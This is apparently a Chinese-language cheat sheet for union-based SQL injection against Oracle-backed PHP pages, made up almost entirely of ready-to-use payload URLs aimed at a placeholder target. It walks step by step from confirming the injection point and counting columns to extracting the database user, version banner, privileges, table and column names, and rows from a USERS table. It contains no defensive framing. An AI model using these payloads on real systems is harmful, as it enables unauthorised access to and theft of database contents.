1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 判断注入点是否存在 http://xxx/x.php?id=1' http://xxx/x.php?id=1' http://xxx/x.php?id=1 and 1=1 http://xxx/x.php?id=1 and 1=2 判断字段数量 http://xxx/x.php?id=1 order by 1 http://xxx/x.php?id=1 order by 2 ... http://xxx/x.php?id=1 order by n 显示出错字段处 http://xxx/x.php?id=1 and 1=2 union select null,null,null,null 替换每个null为类型如'1',2之类判断类型和回显位置
然后在可回显位置放置查询语句
判断用户名 http://xxx/x.php?id=1 and 1=2 union select null,user,null,null 判断数据库版本 http://xxx/x.php?id=1 and 1=2 union select null,(select banner from v$version),null,null from all_users 判断用户权限 http://xxx/x.php?id=1 and 1=2 union select null,(select privilege from session_privs where rownum=1),null,null 获取当前数据库 http://xxx/x.php?id=1 and 1=2 union select null,global_name,null,null from global_name http://xxx/x.php?id=1 and 1=2 union select null,(select global_name from global_name),null,null 获取表名 http://xxx/x.php?id=1 and 1=2 union select null,(select table_name from user_tables where rownum=1),null,null from dual 获取字段名 http://xxx/x.php?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='USERS' and rownum=1),null,null from dual 获取数据 http://xxx/x.php?id=1 and 1=2 union select null,(select name from USERS where rownum=1),null,null from dual
|